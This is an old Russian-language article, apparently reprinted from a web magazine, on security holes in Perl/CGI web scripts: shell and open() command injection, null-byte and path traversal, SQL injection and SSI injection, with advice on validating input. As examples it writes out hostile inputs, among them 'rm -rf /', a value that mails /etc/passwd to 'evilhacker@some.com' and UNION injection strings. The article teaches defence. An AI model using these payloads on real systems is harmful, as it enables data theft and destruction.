|
||
|
||
Уязвимость Web-скриптов |
||
Вступление Perl system("ls -l /usr/home"); # Вызов execvp() system("ls -l /usr/home/*"); # Вызов shell system("ls -l", "/usr/home"); # Вызов execvp() system("ls -l", "/usr/home/*"); # Вызов execvp(),сработает # некорректно, так как не # будет обработан # символ '*'. Считается, что вызов system("ls","$file "); # Вызов execvp() безопаснее, чем вызов system("ls $file"); # Вызов execvp() так как при подаче аргумента $file, равного, скажем, "aaa;rm -rf /", второй выполнит команду "rm -rf /", а первый - - нет. Однако следует помнить, что, скажем интерпретатор ActivePerl под Windows всегда выполняет вызов shell, поэтому лучше все таки проверять все входные параметры. open(FILEHANDLE "|telnet"); запустит программу telnet и создаст handle FILEHANDLE, соответствующий ее стандартному вводу. Аналогично, open(FILEHANDLE "telnet|"); запустит программу telnet и создаст handle FILEHANDLE, соответствующий ее стандартному выводу. Таким образом, возникает возможность того, что присутствующий в скрипте вызов функции open() будет использован не по назначению. Например, скрипт <...skip...> open(TEMPFILE,"/tmp/$username") <...skip...> получивший от пользователя параметр $username, равный "mail evilhacker@some.com < /etc/passwd|", отошлет в результате файл с паролями по электронной почте. Поэтому следует всюду, где это только возможно, явным образом специфицировать способ открытия файла: open(FILEHANDLE ">filename"); # на запись open(FILEHANDLE ">>filename"); # на дозапись open(FILEHANDLE " Рассмотрим тепреь, какого рода входной информации следует опасаться. Помимо всевозможных метасимволов shell-а, которые, кстати, могут быть весьма различными для разных интерпретаторов, не следует забывать: В этом случае, получив на вход что-нибудь вроде some_data 'rm -rf /' мы после обработки имеем some_data \'rm -rf /\' и можем спокойно использовать эту строку в shell вызовах. Однако, получив some_data \'rm -rf /\' мы после обработки имеем some_data \\'rm -rf /\\' что уже совсем не так приятно. <...skip...> open(TEXT2ECHO,"<$any_txt_file".".txt") # откываем текст для дальнейшего вывода пользователем <...skip...> значение параметра $any_txt_file, равное "/etc/passwd\0" мы заставим систем вызов fopen отбросить расширение .txt и отрыть нужный нам файл. Другой частой ошибкой является отсутсвие проверки на наличие последовательности символов "../" в параметрах, используемых в качестве имен открываемых файлов. Кроме того, следует помнить и учитывать все символы, являющиеся служебными для вызываемых скриптом программ, так как многие программы имеют, например, функцию вызова shell. На сегодняшний день наиболее распространными базами данных, используемыми в web-программировании, можно назвать MySQL, PostgreSQL и MS-SQL. Проблемы, связаные с их безопасным использованием одинаковы для perl, php или, скажем, asp. Основная причина уязвимостей та же - - недостаточная проверка входных данных. Если скрипт выполняет, скажем, такой запрос к БД SELECT * FROM UserTB WHERE User=$user то, подставив $user, равный "some UNION SELECT * FROM UserTB", получим SELECT * FROM UserTB WHERE User=some UNION SELECT * FROM UserTB (конечно MySQL не поддерживает запроса UNION, но это - только пример). Некоторые борятся с этим расстановкой скобок или кавычек: SELECT * FROM UserTB WHERE (User=$user) или SELECT * FROM UserTB WHERE User="$user" однако это само по себе слабо спасает положение: $user='some) UNION SELECT * FROM UserTB WHERE (USER<>some" или $user='some" UNION SELECT * FROM UserTB' Приемлемым решением в этом случае является расстановка кавычек и проверка входных данных на их отсутсвие. Другая обязательная превентивная мера - использование специального пользователя с ограниченными правами для работы с базой данных (и ни в кое случае не следует использовать пользователя sa). Вообще такого рода уязвимости грозят не только разглашением или изменением содержимого базы данных. В PostgreSQL и MS-SQL есть понятие хранимых процедур и триггеров, их вызывающих. Например, среди встроенных хранимых процедур в MS-SQL, есть такие, которые позволяют принимать и получать электронную почту, выполнять команды операционной системы. Кроме того, по возможности не следует хранить в тексте скриптов какую-либо важную информацию, так как многие недостаточно хорошо написанные или сконфигурированные web-сервера позволяют злоумышленнику получить код скрипта. Так, например, в случае asp стоит помещать код, выполняющий подсоединение к базе данных, в специальный файл global.asa. Server Side Includes сами по себе никакой опасности не представляют ввиду своей крайней простоты. Тем не менее, существуют случаи, когда с их использованием злоумышленник может получить несанкционированый доступ к информации, хранимой на сервере. Все скрипты, осуществляющие занесение данных в chat-ы, конференции и всякие guestbook-и, должны проверять заносимую информацию на предмет наличия в ней SSI-инструкций. Ситуация отягощается тем, что некоторые web-серверы не совсем следуют спецификации и могут исполнять SSI-инструкции, которые по спецификации таковыми не являются. В общем и целом, никогда и ни в коем случае нельзя доверять информации, полученной от пользователя. Это относится и к информации, хранимой в hidden полях форм, отсылаемых любыми методами и с любыми проверками HTTP-Referer, и к любым данным прошедшим любые проверки на стороне клиента с помощью, скажем, JavaScript. Вся эта информация может быть подменена злоумышленником с целью получения несанкционированного доступа к информации на сервере, или с целью нарушения нормального функционирования сервера. [p.h.m] Jordan Dimov "Security Issues in Perl Scripts", P.H.M., Issue 23, Article 02. [r.f.p] Rain Forest Puppy, "Perl CGI problems", Phrack Magazine, Vol. 9, Issue 55, File 07. [wwwsec] "The World Wide Web Security FAQ". Chapter 7 - Safe Scripting in Perl http://www.w3c.org/Security/Faq/wwwsf5.html [perlsec] The Perl Security man page. [cgiperl2] Scott Guelich,et al."CGI Programming with Perl, 2nd Edition" O'Reilly. July 2000. altsoph Источник: http://www.km.ru/magazin/
|
||
|
||
Copyright © 2000г. "Internet Zone" & Nik Romanov, info@izcity.com | ||
Копирование и использование данных материалов разрешается только в случае указания на журнал "Internet Zone", как на источник получения информации. При этом во всех ссылках обязательно явное указание адреса вэб-сайта http://www.izcity.com/. При наличии у копируемого материала авторов и источника информации - их также нужно указывать, наряду со ссылкой на нас. |